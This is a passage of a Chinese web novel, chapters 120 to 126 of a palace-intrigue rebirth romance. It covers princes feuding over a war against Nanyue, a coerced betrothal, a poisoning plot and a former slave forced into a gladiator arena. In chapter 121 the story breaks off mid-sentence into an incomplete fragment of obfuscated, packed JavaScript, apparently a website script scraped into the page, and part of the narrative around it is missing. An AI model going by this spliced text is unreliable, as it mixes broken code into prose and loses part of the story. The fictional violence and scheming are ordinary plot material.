说着,她便想要伸手去触摸他的右手,想要仔细确认一下他骨头的生长情况。 萧凌川生怕被她发现自己是在装病,连忙一把捂住自己的右手,同时发出一声夸张的呻吟:“啊……我的手好疼啊!” 姜姝宁被他吓了一跳,连忙问道:“那可如何是好?要不……还是让御医来给殿下看看吧?” 说着,她便转身想要离开,却被萧凌川伸手拉住了衣袖。 “不用了,你只要给我做些好吃的,我就不疼了。” 他澈黑的眼眸直勾勾地看着她,湿漉漉的,带着几分讨好和依赖,像极了方才那只黑豹看她时的眼神。 姜姝宁心中掠过一丝异样。 他这是在……对她撒娇? 第121章 咬了她一口 第一百二十一章咬了她一口 姜姝宁从未见过萧凌川这般模样。 前世的记忆中,他始终是一副拒人于千里之外的冷漠模样,除了床笫之间偶尔流露出的疯狂外,其他时候对她总是冷漠疏离。 如今不过是一条胳膊受了伤,他竟变得如此柔弱,甚至还带着几分孩子气。 若是前世,她看到他这般反常的模样,定会心疼不已,恨不得倾尽所有,将世间最珍贵的一切都捧到他面前,只为博他一笑。 可如今,她心中只有深深的忧虑。 他如此不堪一击,将来如何能与萧修湛抗衡? 又如何为她报血海深仇? 她晃了晃被他拉住的衣袖,语气平静无波,像一潭深不见底的古井:“那臣女去给殿下准备吃的,还请殿下松开。” 萧凌川察觉到她语气中的淡漠,那双原本湿漉漉的桃花眸瞬间黯淡了几分。 他原本应该松手的,可不知为何,心底陡然腾升起一股不甘。 节骨分明的手指倏地扣住她的手腕,拉过来在她手背上咬了一口。 力道不重,却在上面留下了明显的红色牙印。 姜姝宁眼底掠过一丝惊恐,几乎是下意识抽回自己的手。 手背像是被烙铁烫过一般,又疼又烫,她整张脸都因此染上了嫣红。 “疼吗?”他看着她,眸色晦暗,“我亦如此。” 他说的是他的心,她却理解成他的手。 “臣女知道,臣女这就去为殿下做饭!”姜姝宁说着,慌忙转身离开。 看着她转身离去的背影,萧凌川心中涌起一股莫名的失落。 他想起前世,她那般在意自己,甚至有次因为他**,说出那句“你若**,妾身也不活了”的话来。 他脸上浮起一抹苦涩的笑,原来,她对他的那份深情与爱意,早在前世就被他挥霍一空了。 姜姝宁去了一趟后厨,开始准备食材。 手背上的异样感觉还未散去,勾起那段她不愿想起的尘封记忆。 前世那些缠绵悱恻的夜晚,萧凌川最喜欢在她身上弄出些痕迹。 吻痕、牙印、淤青……多不胜数,每个印记都彰显着他不为人知的变态喜好。 姜姝宁脸颊滚烫,又羞又恼。 他明知自己没有半点和他再续情愿的意图,却依然几次三番地撩拨试探,简直可恶至极! 后厨里的厨子们对这位未来的“四皇子妃”敬佩有加,毕竟整个王府,也只有姜姝宁做的饭菜,才能让那位挑剔至极的四皇子殿下露出满意的神色。 因此,每次姜姝宁过来下厨,他们都会在一旁殷勤地打下手,顺便偷偷学上几招。 几个厨子趁着姜姝宁专心致志处理一条鲜鱼的功夫,凑在一起压低了声音,偷偷摸摸地闲聊起来。 “姜姑娘每次来都给殿下做吃的,简直就是贤妻良母的典范。你说,她啥时候能当咱们四皇子妃啊?有她在,咱们也能多学几道殿下爱吃的。” 这话恰好被跟来后厨的萧凌川听见,他站在后厨门口,俊美的脸上浮起几分笑意,像是冬日里破云而出的暖阳。 可紧接着,另一个厨子的声音却像一盆冰水泼下: “哎呀,你都不知道,这姜姑娘有不少皇子喜欢,四皇子殿下对手太多了!当初三皇子都求娶过她,她不愿意嫁,后来三皇子就干脆娶了个跟她很像的女子当妾室,藏在他的麟阁宫里,宝贝得不行。” “真的假的?那将来姜姑娘嫁进皇宫,跟那三皇子的妾室,还能分得清谁和谁吗?”另一个厨子捂嘴偷笑,语气里满是揶揄。 萧凌川的脸色瞬间阴沉得能滴出水来,他大步跨进后厨,声音冷得像刀子:“再乱嚼舌根,我就把你们的舌头拔下来炒了喂狗吃!” 那双桃花眸里迸发出森冷的寒意,吓得几个厨子齐刷刷跪下,头磕得咚咚响:“殿下饶命,殿下饶命!” 姜姝宁从厨房里出来时,恰好撞见这一幕。 方才她怎么会觉得萧凌川柔弱呢? 他不是向来都冷酷无情,阴狠毒辣的吗? 见她出来,萧凌川竟神差鬼使想起姜瑶真几次三番对他说,姜姝宁喜欢萧怀瑾那种温润如玉的男子。 满腔怒火顿时被强行压了下去,他对着跪在地上的厨子们冷声道:“都起来吧!下次再让我发现你们背地里嚼舌根,定不轻饶!” “谢殿下!”厨子们如蒙大赦,连滚带爬地从地上站起身,逃也似的钻回后厨,再也不敢出来。 姜姝宁深吸一口气,将心中的不安压下,轻声道:“殿下,用膳了。” 两人相对而坐,气氛略显沉闷。 姜姝宁始终低头,默默地用膳,若有所思。 萧凌川见她迟迟没有主动喂他吃饭的意思,心中略感失落,赌气地用左手夹菜。 他在心里恶狠狠地想,方才应该咬得更狠一些的。 既然无法在她心中留下任何印记,那么,能在她身上留下也是好的。 片刻之后,姜姝宁终于抬起头,打破了沉默:“殿下,臣女有事想与你商议。” “说。”萧凌川将筷子丢在桌上,发出“啪”的一声轻响,神色也变得阴沉起来。 他早就料到她今日来找他,并非只是为了给他做饭吃。 前世她给他做饭,单纯为了让他开心,如今她给他做饭,是为了从他这里获取有价值的消息。 一想到她对自己的亲近是带着某种目的性的利用,他的左心房就不禁隐隐作痛。 “近来,南月屡屡进犯我大邺边境,殿下对此有何看法?”姜姝宁单刀直入地问。 前世,南月虽对大邺虎视眈眈,但慑于大邺的国力,始终不敢轻举妄动。 直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜姝宁立马噤声,她还是低估了萧凌川的野心和冷硬的心性。 他向来醉心权势,为了得到皇帝的认可,巩固自己的地位,做出攻打自己母族之事的举动也不足为奇。 两人各怀心思,谁也没有再主动开口。 用完膳,姜姝宁起身准备告辞,忽地停下脚步,一双清冷的眸子直直地看向萧凌川,试探性地问:“殿下,今生南月进犯的时机,竟比前世提前了许多,莫非这其中,有殿下的手笔?” 萧凌川缓慢地逼近她,微微俯身,幽深的目光与她的视线交缠,带着一丝令人心悸的压迫感。 “作为盟友,我自是不能将军事机密轻易告知于你。”他稍作停顿,声音蓦地低沉下来,透着几分蛊惑人心的意味,“但若你愿成为我的妻子,我会毫无保留,将一切和盘托出。” 姜姝宁心头一震,几乎是下意识地朝他盈盈一拜,语气恭谨而疏离:“是臣女逾越了!臣女告退!” 说完,她匆匆再行一礼,随即头也不回地转身离去,步履仓促。 萧凌川伫立在原地,看着她略显慌乱的背影,嘴角微抽:“……” 他是什么洪水猛兽吗? 竟将她吓成这幅模样。 第122章 鹬蚌相争,渔翁得利 第一百二十二章 鹬蚌相争,渔翁得利 当姜姝宁抵达宫门口时,姜瑶真早已在马车内等候多时。 她脸上写满了幽怨:“姐姐怎么去了这么久?妹妹我都饿坏了!” 姜姝宁似笑非笑地看着她:“怎么,三皇子殿下没有留妹妹用午膳吗?” 姜瑶真顿时噤声,脸色也变得有些不自然。 她今日压根就没有去找萧修湛,而是直接去面见了皇帝。 想必很快,她便能如愿以偿,拥有一场备受瞩目的盛大婚礼了。 萧修湛大概是会生气的,但她管不了那么多了。 她要风光出嫁,要让京城所有世家贵女都为之艳羡,谁都休想在这场婚礼上敷衍了事! 与此同时,熙贵妃怒气冲冲地来到麟阁宫。 “母妃,您怎么了?何人把您气成这样?”萧修湛连忙迎上前,关切地问道。 “还不是你那不懂事的皇子妃!”熙贵妃面色阴沉,怒不可遏地说道,“本宫原本还打算借着你们大婚,将内库的亏空给填补上。谁知她今日竟不知死活地专程去找你父皇,说什么要让姜家承担大婚的所有费用! 你父皇直接来找本宫,让本宫务必尽心竭力地准备大婚事宜,还强调要给准备她一份丰厚的聘礼,绝不能丢了皇家的颜面!这个姜瑶真,真是个成事不足败事有余的蠢货!” “母妃息怒,切莫动气。”萧修湛安抚熙贵妃道,“最近南月贼寇频繁进犯我大邺领土,想必父皇很快便会派人领兵迎战。儿臣想主动请缨,领兵出征,届时若能凯旋而归,定会将父皇赏赐的财物尽数交给母妃,助母妃顺利填补内库的亏空!” 熙贵妃脸上浮起一丝担忧:“战场凶险,刀剑无眼,带兵打仗可不是儿戏,万一受了伤该如何是好?” “母妃放心,此事儿臣已与舅舅周详商议过,如今南月兵马远不及我大邺精锐,他们此番进犯,实乃不自量力,无异于自掘坟墓!” 萧修湛语气笃定,胸有成竹,“儿臣有十足的信心,定能将他们杀得片甲不留,铩羽而归。再说,就算母妃不相信儿臣的实力,也该相信舅舅的,有他在战场上坐镇,定会护儿臣周全!” 熙贵妃这才稍稍放下心来:“既然如此,那就依你吧!” 次日,金銮殿上,皇帝在朝议中提及南月进犯一事,镇国公果然极力举荐萧修湛领兵出征。 萧凌川见状,立刻上前一步,拱手道:“父皇,三哥大婚在即,此时若让他带兵出征,岂不是徒增未来三皇子妃的担忧?儿臣尚未婚配,孑然一身,自当为父皇分忧,才是更适合领兵打仗的不二人选!” 萧修湛见萧凌川竟想抢走这唾手可得的军功,顿时急红了眼,连忙反驳道:“父皇,万万不可!四弟的生母乃是南月之人,谁知他心中是否怀有异心?若他领兵上战场,临阵倒戈,通敌叛国,又当如何是好?” “三哥慎言!”萧凌川面色一沉,语气中带着一丝愠怒,“儿臣所做一切皆是为了大邺的百姓,三哥如此无端诋毁,究竟是何居心?” “四弟莫要动怒,我自然相信你绝不会做出通敌叛国之事。”萧修湛皮笑肉不笑地说道,话锋一转,“只是四弟毕竟是南月血脉,体内流淌着一半南月人的血液,除非我大邺当真到了无人可用的地步,否则,断然不能让你领兵对抗南月敌寇,以免引人非议!” 眼看两人针锋相对,剑拔弩张,高座之上的皇帝终于开了口。 “你们二人一片为国效力之心,朕都看在眼里。”皇帝声音缓缓传来,带着不容置疑的威慑,“不过,朕心中早已有了更合适的人选。” 说着,他将目光投向一旁始终默不作声的二皇子,“老 二,你素来武艺超群,朕心甚慰。朕命你即刻点兵,统领十万精兵强将,务必将南月贼寇驱逐出我大邺疆土,扬我大邺国威!” 二皇子闻言,神色一凛,连忙起身领命,声音洪亮而坚定:“儿臣遵旨!定不辱使命,誓死捍卫大邺疆土!” 下了朝,萧修湛心中怒火中烧,难以平息。 他快步追上萧凌川,语气尖锐地指责道:“鹬蚌相争,渔翁得利!如今这天大的功劳,却白白落到了二哥手里,四弟,你可满意了?” “当然满意!”萧凌川闻言,嘴角勾起一抹意味深长的笑,“只要能让三哥你与这功劳失之交臂,最终花落谁家,对我而言都无关紧要。” “你……” 萧修湛这才意识到萧凌川从一开始就没打算真的领兵出征,他的真正目的,不过是阻止自己得到这个立功的机会罢了。 他怒火攻心,攥紧了拳头,阴鸷的目光中充满了愤恨与不甘。 萧凌川,当真是一块令人厌恶至极的绊脚石! 萧修湛回到麟阁宫,依旧怒意未消。 姜莲端了茶水来给他喝,见他眉头紧锁,柔声问:“殿下可是有什么烦心事?” “我原本有个唾手可得的立功机会,谁知竟被四弟从中作梗,硬生生给搅黄了,如今反倒便宜了那个一向默默无闻的二哥!”萧修湛一脸不甘道。 姜莲眨了眨眼:“那二皇子殿下,与殿下是同一阵营之人吗?” “自然不是!”萧修湛像是被点醒一般,挑了挑眉,“不过你倒是提醒了我,我可以尝试和二哥结盟!” 他原本一直费尽心思,想要拉拢五皇子萧怀瑾,可那萧怀瑾看不惯他从地下赌 场、青 楼女支院、人牙子买卖这些藏 污 纳 垢之地攫取利益,因此始终不肯与结为盟友。 二皇子没有什么野心,母族手握兵权,倒是个退而求其次的结盟之选。 只要结盟,他的封赏自己不就可以分一杯羹了吗? 只是…… “我这二哥生性耿直,不懂得变通,恐怕难以助我登上那至高无上位置啊!” 谋权篡位这种大逆不道之事,以二皇子的性格,定然是不屑为之,也绝不愿参与其中的,所以他一开始就直接将二皇子排除在了结盟人选之外。 姜莲察言观色,缓缓道:“殿下,若您能寻到二皇子殿下的软肋,便不愁他不能为您所用!” “软肋?你是指……” “若二皇子殿下有心爱之人,在乎的事,或是尚未完成的心愿,这些都可以成为殿下拿捏二皇子的筹码!”姜莲语气轻柔,却字字珠玑,直击要害。 萧修湛猛然想起那日在马球赛,他曾无意中看到二皇子与户部尚书之女张嫣私下会面的场景。 “二哥的软肋,我知道是什么了!”他将姜莲一把抱在自己腿上,目光在她那张酷似江姝宁的脸上流连,眼底掠过一丝痴迷,“你不仅长得你姐姐,也如你姐姐一般聪慧!本皇子甚是欣慰!” “殿下谬赞。”姜莲垂眸,刻意露出一个像极了姜姝宁的笑容。 这笑容像是撩拨心弦的手,萧修湛只觉得浑身燥热,心底腾升起一股难以言喻的渴望。 他将她打横抱起,大步走往寝殿…… 第123章 她被明月看见 第一百二十三章 她被明月看见 二皇子正在后院挥汗如雨,习练武艺,忽有内侍匆匆来报:“殿下,三皇子殿下求见!” “三弟?他来做什么?”二皇子剑眉微蹙,满脸狐疑,摆手示意,“有请。” 内殿之中,两位皇子相对而坐,气氛微妙。 一位身着锦衣华服,姿态慵懒随意,眉宇间尽是漫不经心;另一位则身着利落的练武服,精神抖擞,浑身散发着习武之人的干练与英气。 “三弟有事但说无妨,我需继续练武,实在没有闲暇与你在此闲聊品茗!”二皇子道。 他向来直来直去,不喜弯弯绕绕。 萧修湛端起青瓷茶盏,轻啜一口,动作优雅缓慢:“二哥即将整装出发,为我大邺征战沙场,驱逐南月贼寇,固然可敬。可二哥也不能将所有心思都放在军国大事之上,个人的终身大事,亦不可忽视啊。” “三弟若有话,不妨直言。” 二皇子不耐地掏了掏耳朵,显然对这种拐弯抹角的说话方式颇为反感。 “既然如此,那我就开门见山了。我此番前来,是想为二哥说一门亲事!”萧修湛放下茶盏,嘴角勾起一抹意味深长的笑意。 “不必了!”二皇子断然拒绝,“我心有所属,不劳三弟费心!” “二哥心悦之人,是张尚书家的千金,张嫣姑娘吧?” 听到这话,二皇子的脸颊以肉眼可见的速度泛起红晕,眼神也略显慌乱:“你……你如何知晓?” 萧修湛笑得讳莫如深:“此事二哥不必深究,我今日前来,便是要为二哥和张姑娘牵线搭桥,促成这桩美事的!” “三弟,这桩亲事,恐怕你是说不成了!”二皇子苦笑道,“我已向张姑娘表明心意,奈何她对我并无情意。我虽为皇子,却也不愿强人所难。今生,怕是与她有缘无分了!” “二哥何必如此悲观?感情之事,瞬息万变,谁又能料到最终的结局呢?”萧修湛笑容狡黠,眼中闪过一丝不易察觉的光芒,“不如我与二哥打个赌,就看那张姑娘,是否会主动向二哥提出结亲的意愿。” “赌就赌,我绝不会输给你!”二皇子豪爽应下,“你想要什么赌注?” 萧修湛一字一句道:“黄金万两!” 二皇子闻言,朗声笑道:“这赌注果然诱人。不过不瞒三弟,就算三弟侥幸赢了这场赌局,我也未必能拿出万两黄金来给你。还是换个赌注吧?” “二哥如今或许无法拿出这万两黄金,但待二哥成功击退南月敌寇,凯旋归来,父皇的赏赐必定远超万两黄金!届时,二哥只需从父皇的赏赐中拨出万两黄金交付于我便可。” “好,就依你!”二皇子欣然应允,“反正,你肯定赢不了!” 萧修湛笑容愈发深沉,意味难明:“二哥,我们走着瞧便是!” 萧修湛从二皇子 宫里出来后,便出宫直奔张尚书的府邸。 张尚书闻言,心中忐忑难安。 他与这位三皇子素无瓜葛,更非同一阵营之人,他今日怎么会突然来见他? 虽满腹疑虑,张尚书仍强压心绪,堆起一脸恭敬之色,迎上前去:“下官拜见三皇子殿下,不知殿下今日亲临寒舍,有何贵干?” 萧修湛直接道明来意:“本皇子听闻张尚书之女张嫣,至今尚未婚配,特来向张尚书求娶令媛。” “什么?”张尚书一时以为自己听错,满脸错愕,“殿下与姜丞相之女的婚事,不是已近在眼前了吗?” “是啊,姜二姑娘是本皇子明媒正娶的正妻。”萧修湛轻描淡写地笑了笑,神态倨傲,“至于令媛,自然只能委屈她为妾了!” “这……”张尚书强压心中怒火,面色涨红,“殿下,下官膝下仅此一女,自幼便视若掌上明珠。我们张家虽算不上高门大户,但也绝不会让女儿去做妾室!” “张尚书这是在拒绝本皇子?”萧修湛面色阴沉,语气中带着一丝威胁,“若本皇子执意要娶她为妾,你以为凭你的力量,能够阻拦得了吗?张尚书,本皇子劝你莫要敬酒不吃吃罚酒!若真惹恼了我,莫说你女儿,就是你整个尚书府,都将难逃覆灭之灾!” 撂下这番狠话,他便扬长而去。 张尚书如遭雷击,瘫坐在地,口中喃喃自语:“造孽啊,我们张家怎么会惹上这个三皇子?” 张嫣步入正厅,便看到父亲颓然倒地,神色萎靡,她心头一惊,连忙上前搀扶起他:“爹,您这是怎么了?莫不是遇到了什么棘手之事?” “三皇子方才前来府上,竟……竟扬言要纳你为妾!”张尚书难以启齿道。 “什么?”张嫣闻言,脸色瞬间变得煞白。 那三皇子萧修湛是出了名的风流,尚未娶正妻,后院便已姬妾成群,坊间还盛传他与春香楼的头牌有着不清不楚的私情。 若是让她嫁给三皇子为妾,这一辈子岂不是彻底毁了吗? “不行!为父这就去找七皇子,求他设法相助!无论如何,也不能让你沦为三皇子的妾室!”张尚书语气激动道。 张嫣连忙拉住他:“爹,您忘了,上次七皇子暗中授意我们给姜家三少爷下毒一事,我们并未办妥,如今怎好意思再去劳烦他?更何况,七皇子与四皇子殿下本就属于同一阵营,如今三皇子和四皇子两人正值势均力敌之势,若此时贸然向七皇子求助,无异于直接与三皇子为敌,反而会激怒他,引来更大的祸端!” “那该如何是好?”张尚书满脸哀愁,“爹实在不忍心眼睁睁地看着你跳入火坑啊!” “爹爹不必如此忧心,女儿心中已有决断,知道应该向谁求助。”张嫣眼底掠过一丝难以掩饰的苦涩,“还请爹爹代女儿出面,将二皇子殿下约出来,女儿有几句话,想亲自对他说。” “二皇子?难道你是想让他向你提亲,娶你为妻?”张尚书眉头紧锁,“可你不是早就心有所属了吗?” 张嫣脸上浮起一丝苦笑:“如今女儿能够保全自身,保全整个张家,就已经实属不易了,又哪里还有资格再去奢望心悦之人?更何况,就算我不嫁给二皇子,那个人也未必会娶我。” 他是高悬于天空之上的皎皎明月,光芒万丈,遥不可及,而她不过是被他那的光华所惊艳的平凡女子罢了, 又有何德何能,能够让那皎皎明月也对她另眼相看,倾心相待呢? 张尚书闻言,心中更加难过,却也无可奈何:“与二皇子结亲,总好过给那三皇子当妾。嫣儿,都是爹无能,委屈你了!” 张嫣暗自垂泪:“是嫣儿自己命不好,怪不得爹爹!” 她不由有些嫉妒这京城里唯一能为自己婚事做主的女子姜姝宁。 若自己也能和她一样,得太后青睐,有一份懿旨就好了。 也不会落得今日这般被动的境地。 当然,她嫉妒姜姝宁,不仅仅因为她有份能为自己婚事做主的懿旨。 她嫉妒的是她能够被她倾慕的那轮明月看见。 第124章 死得毫无体面 第一百二十四章 死得毫无体面 二皇子和张嫣定亲之事很快便传到姜姝宁耳中。 她立马想到了夏嫣。 得知自己心仪之人已与他人定下终身,夏嫣该会有多伤心难过? 不行,她必须去见她一面,免得她独自黯然神伤。 姜姝宁准备出门,碰巧在门口遇到刚从书院回来的姜天泽。 姜天泽见她行色匆匆,好奇问道:“大姐姐这是要往哪儿去?” “我要去看看夏嫣。” “大姐姐和夏嫣姐的感情真是好,前几日才刚见过面,这么快又要去找她了。” 姜天泽笑着道。 “可不就是嘛!”姜姝宁也笑了起来,故意打趣道,“要是夏嫣是个男子,我定非她不嫁!” 姜天泽闻言,眼底闪过一抹不易察觉的阴郁。 幸好夏嫣不是男子。 否则,他又得费心多除去一个碍眼之人了。 姜姝宁来到夏府,远远便看见夏嫣正在院中练武,额头上的汗珠在阳光下晶莹闪烁,宛如晨露般剔透。 见她到来,夏嫣收了招式,迎上前来,脸上绽开一抹浅笑:“姝宁,你怎么来了?” 姜姝宁见她神色并无异样,心中暗忖:莫非她还不知道二皇子定亲的消息? 她将手中提着的食盒递了过去:“想你了,便来看看你。这是我亲手做的酥饼,你尝尝看,合不合口味!” 夏嫣接过食盒,笑意更深了几分:“你是听说了二皇子定亲的事,怕我心里难受,特意赶来安慰我的吧?” “被你看出来了!”姜姝宁也不遮掩,目光在她脸上逡巡,“不过,你瞧着似乎并不难过,难道是在强颜欢笑?” “当然不是。”夏嫣轻笑一声,神色坦然,“心仪之人定了亲,这是喜事,我为何要难过?难道在姝宁眼里,我就是这般肤浅之人?” “你能这样想,我心中甚是欣慰。”姜姝宁嗔怪道,“怎么,担心你也不行吗?” 她心下暗叹:不怪我多想,前世你可是为了二皇子削发为尼,孤苦一生啊! “姝宁,你可知我为何心悦二皇子殿下?”夏嫣忽然问道。 “二皇子殿下英武不凡,仪表堂堂,你对他一见倾心也不奇怪。” “你只猜对了一半。七位皇子个个出类拔萃,但唯有二皇子让我动了心。因为只有他胸怀护国安民的远大志向,真正将大邺百姓放在心上,而不是一味争权夺利。这次听说由他带兵出征,讨伐南月敌寇,我心里着实欣慰。他终于能施展一身武艺,守护大邺的山河了。” 姜姝宁听罢,恍然大悟。 难怪前世二皇子战死沙场后,夏嫣会毅然削发为尼,与青灯古佛相伴余生。 原来,她不仅仅是为心爱之人的逝去而悲痛,更是因为她看不到大邺的希望。 那个唯一为百姓着想的皇子殒命,剩下的皇子们各为阵营,将心思全用在权力争斗上,根本无暇顾及大邺子民的死活。 守着这样的皇室,又怎能不令人心生绝望? 幸好这一世与前世大不相同,二皇子身边有浩力相助,定不会重蹈覆辙,落得战死沙场的悲惨结局。 “那我们就等着二皇子凯旋的捷报吧!我听说南月此次只带了五万兵马,而我们大邺却有十万精兵迎敌,定能将他们杀个片甲不留!此战,二皇子必胜无疑!”姜姝宁语气中透着几分笃定。 “南月竟然只带了五万兵马?他们是怎么想的?这不是自寻死路吗?”夏嫣满脸疑惑。 姜姝宁也觉得此战颇为蹊跷。 南月不仅比前世提前对大邺发起攻势,还只带了如此少的兵马,显然是对大邺的国力严重低估。 莫非是萧凌川故意放出虚假情报,诱使南月自投罗网? 可他究竟是如何做到的? 南月又是为何会轻信他的情报? 姜姝宁心中好奇难耐,忍不住想要去问萧凌川,可转念一想,又记起那日他说过,除非她愿意成为他的妻子,否则他不会将一切和盘托出。 想到此处,一抹红晕悄然爬上她的双颊,她在心里暗自嘀咕:这机密嘛,我也不是非知道不可! —— 深夜,景和宫里,姜瑶真的生母、姜家姨娘跪在萧凌川面前,颤抖着双手呈上一张纸条。 纸条上写着这样一行字:“我已遵殿下之命,将南月兵马引至大邺。如今我背弃族人,已无退路,今后只能任凭殿下差遣。我唯有一求,望殿下念及我这段时日忠心耿耿的情分,赐下解药给小女,免她每月受毒药侵蚀之苦!” 萧凌川俯视着她,面色阴冷如霜,语气中带着几分不屑:“你这是在与本殿交易?以你如今的身份,你觉得自己有这个资格吗?” 姜家姨娘心中怒火翻涌,却不得不强压情绪,装出一副卑恭之态,又是磕头又是比划,苦苦哀求。 萧凌川却无动于衷,冷冷道:“若她安分守己,本殿自会月月赐她解药。但若她胆敢生事,本殿绝不轻饶!” 姜家姨娘听出他的言外之意——不给解药,不过是想时刻拿捏她们母女! 心中带着恶意的怒火顿时熊熊燃烧。 翌日,她与姜瑶真在来福酒楼碰面。 得知萧凌川不肯提前交出解药,姜瑶真气得浑身发抖,咬牙低语:“娘,如今南月兵马已被引至大邺,仅五万兵马,根本无法与大邺抗衡。四皇子此举实在阴险至极,如此一来,娘与南月定会彻底决裂,毫无回旋的余地! 您说他为何如此行事?莫非他已察觉自己的身世,知晓我们一直在欺瞒他?毕竟,南月公主并非他的生母,而是您啊!” 姜家姨娘大惊失色,忙捂住她的嘴,示意她噤声。 姜瑶真却甩开她的手,带着几分自暴自弃:“我们本想欺瞒他,利用他的身份为我们所用,将来让大邺沦为南月的疆土,谁知这四皇子根本不按常理出牌! 他压根不想助南月吞并大邺,反倒借着假情报,重创南月根基!如今我们母女都被他下了毒,哪里敢违抗他的指令?如此下去,还怎么助南月夺取大邺?” 姜家姨娘脸色阴沉,打着手势道:“你放心,我委托南月毒师炼制的新毒,已经制好。只需觅得一个时机,便能让他死得毫无体面!” “可他若死了,我们的解药怎么办?”姜瑶真忧心忡忡。 “放心,他身边有个神医,不会让他轻易毙命。”姜家姨娘神色阴狠,继续比划道,“待他身边的人束手无策之际,我们再提出用解药交换,届时,不愁他不乖乖交出解药!” “还是娘思虑周全。他身边的神医再厉害,也绝无可能在短时间内破解南月毒师新制的毒药。”姜瑶真阴冷一笑,眼中尽是恶毒,“我真是迫不及待,想看四皇子中毒后那副狼狈不堪的模样!” 第125章 被迫走进角斗场 第一百二十五章 被迫走进角斗场 二皇子和张嫣的婚事定在南邺之战后。 一想到即将与心仪的女子结为连理,二皇子喜不自胜,高兴得有些找不着北。 在与张嫣及张尚书商讨聘礼时,他满心欢喜地承诺道:“二位放心,但凡有任何要求,尽管提出来,我定会尽心尽力,让你们满意!” 见二皇子如此重视这门婚事,张尚书心中反倒泛起一丝愧疚。 回府的马车上,他对身旁的女儿语重心长地说道:“嫣儿,这二皇子殿下性情纯良敦厚,待人真诚,为父看得出,他是个值得托付终身之人。待你嫁过去后,便将那人彻底忘了吧,与殿下好好过日子!” 张嫣眼帘低垂,语气平静地应道:“是,女儿定会尽力而为,不辜负父亲的期望。” 嘴上虽是这般说,可她心里比谁都清楚,世上之事多能凭努力达成,唯独感情,越是想放下,越是难以割舍。 她甚至隐隐有些不甘心。 凭什么姜姝宁能轻易俘获那人的目光,而自己拼尽全力,却连他的衣角都触碰不到? 二皇子对自己未婚妻心有所属这件事浑然不知,他来到萧修湛宫里,笑得合不拢嘴:“三弟,这局赌约,是二哥输了,万两黄金,待我凯旋之日,定当亲手奉上!” “恭喜二哥,如愿抱得美人归!既如此,那我便在此静候佳音,恭候二哥将那万两黄金如数送至我的库房之中!”萧修湛笑着道。 “那是自然!不过,三弟,我实在好奇,你究竟用了什么法子,竟能让张嫣主动与我商议婚嫁之事?我曾三番五次向她表明心意,她都婉言推拒,没想到你竟有如此神通,能让她接受我的心意!” 萧修湛眼底飞快地掠过一丝不易察觉的阴鸷之色,旋即又恢复了往日那副云淡风轻的神情。 “二哥谬赞了,我不过是在张尚书和张姑娘面前,略微陈述了一下二哥的诸多优点罢了,让他们觉得二哥乃是人中龙凤,值得托付终身,他们这才被打动,应允了这门亲事。” 二皇子听罢,深信不疑,连忙拱手作揖道:“三弟高义!你助我如愿娶到心仪之人,此等恩情,没齿难忘!万两黄金,毕竟需要时日才能筹措齐全,不如这样,你随我一同前往兵器库,我那里珍藏着一些趁手的兵器,任你挑选,聊表寸心,如何?” 盛情难却,萧修湛随他一同前往兵器库。 两人行至操练场时,萧修湛的目光忽然被一道熟悉的身影所吸引。 那人身形高大,远胜于常人,皮肤黝黑,肌肉虬结,孔武有力。 这不是那日他在东市偶遇,被姜姝宁买下的那个奴隶吗? 他为何会出现在二皇子的宫里? 萧修湛心中疑惑,面上却不动声色,他指着那人,问道:“二哥,这位是……?” “哦,你说的是浩力啊。”二皇子笑着解释道,“这是夏将军赠与我的猛将,他天生神力,能够轻松举起千斤重物,着实了得!” 萧修湛自然知晓这浩力具有天生神力,那日在东市,他亲眼目睹了他徒手将一辆马车举了起来。 “二哥,兵器就不必了,我看这浩力倒是骁勇过人,甚合我意。这样吧,二哥若真想感谢我的话,不如忍痛割爱,将这具有神力的武将赠与我,如何?我近日正愁身边缺少一个得力的贴身侍卫呢。” “这……”二皇子闻言,脸上顿时露出犹豫之色,显得有些不舍。 “怎么,二哥莫非是舍不得?”萧修湛见状,故意面露惋惜之色,语气也变得有些疏离,“既然如此,那便算了吧,我也知道二哥方才说要谢我,不过是客套之言罢了,我又何必当真呢?” “三弟,你误会了,我是真心想感谢你啊!”二皇子闻言,顿时有些急了,连忙道,“罢了,既然三弟如此喜欢,那这浩力便赠与你吧,还望三弟不要嫌弃!” “多谢二哥,那我就却之不恭了!”萧修湛嘴角勾起一抹得逞的笑意。 萧修湛带着浩力径直出了宫门,将其送往了京城里最阴暗血腥的的地方——角斗场。 看着角斗场上的血腥打斗,听着四面八方传来的嘶吼声,浩力顿时惊慌失措。 “殿下,二皇子殿下明明说过,您是要将我留在身边,作为贴身侍卫的啊!” 萧修湛嘴角勾起一抹冷酷的弧度: “你不过是个低贱的奴隶,也配过问主子的决定?如今我才是你的主人,你的一切皆由我说了算!就凭你这副愚钝憨厚的模样,除了拥有一身蛮力之外,还能做些什么? 本皇子要的是一个身经百战,浑身散发着杀气的将士!而角斗场,正是磨砺你的最佳场所。唯有在这种每日都经历生死考验的地方,才能彻底激发你骨子里的野性,训练出你所欠缺的杀气!” 浩力本能地想要转身逃离这个即将吞噬他的地狱,然而,还未等他迈开脚步,脖颈处便传来一阵冰冷的触感。 萧修湛身边的随从将一把泛着幽幽寒光的利剑,抵在了他的脖颈之上,语气森冷:“这剑上淬有剧毒,只要稍有妄动,便会立刻毙命!若你胆敢不听号令,就只有死路一条!” 浩力感受到死亡的威胁,心中的恐惧瞬间达到了顶点。 他只能被迫放弃抵抗,一步步走向那充满血腥与杀戮的角斗场。 他像一头被囚禁的野兽一般,被关在一个特制的铁笼子里,笼子周围布满了涂有剧毒的尖刺,只要稍一挣扎,便会被刺穿身体,毒发身亡。 他不敢轻举妄动,只能蜷缩在狭小的空间里,默默忍受着无尽的恐惧与煎熬。 在这里,他每日都必须竭尽全力,击败一个又一个凶残的对手,才能勉强获得一口食物,否则便只能忍受饥饿的折磨。 为了生存,他必须变得更加强大,更加残忍。 日复一日,在无休止的杀戮与争斗中,他眼中的敦厚与善良逐渐消失殆尽,取而代之的,是无尽的嗜血与杀意…… 第126章 终究还是输了 第一百二十六章 终究还是输了 姜瑶真与萧修湛成婚之日,十里红妆铺满长街,送亲队伍敲锣打鼓,声势浩荡,热闹非凡。 京城的世家贵女们纷纷探头张望,眼中满是羡慕。 她们窃窃私语,感叹得宠皇子的婚礼果然不同凡响,这排场丝毫不逊于太子与太子妃大婚之日。 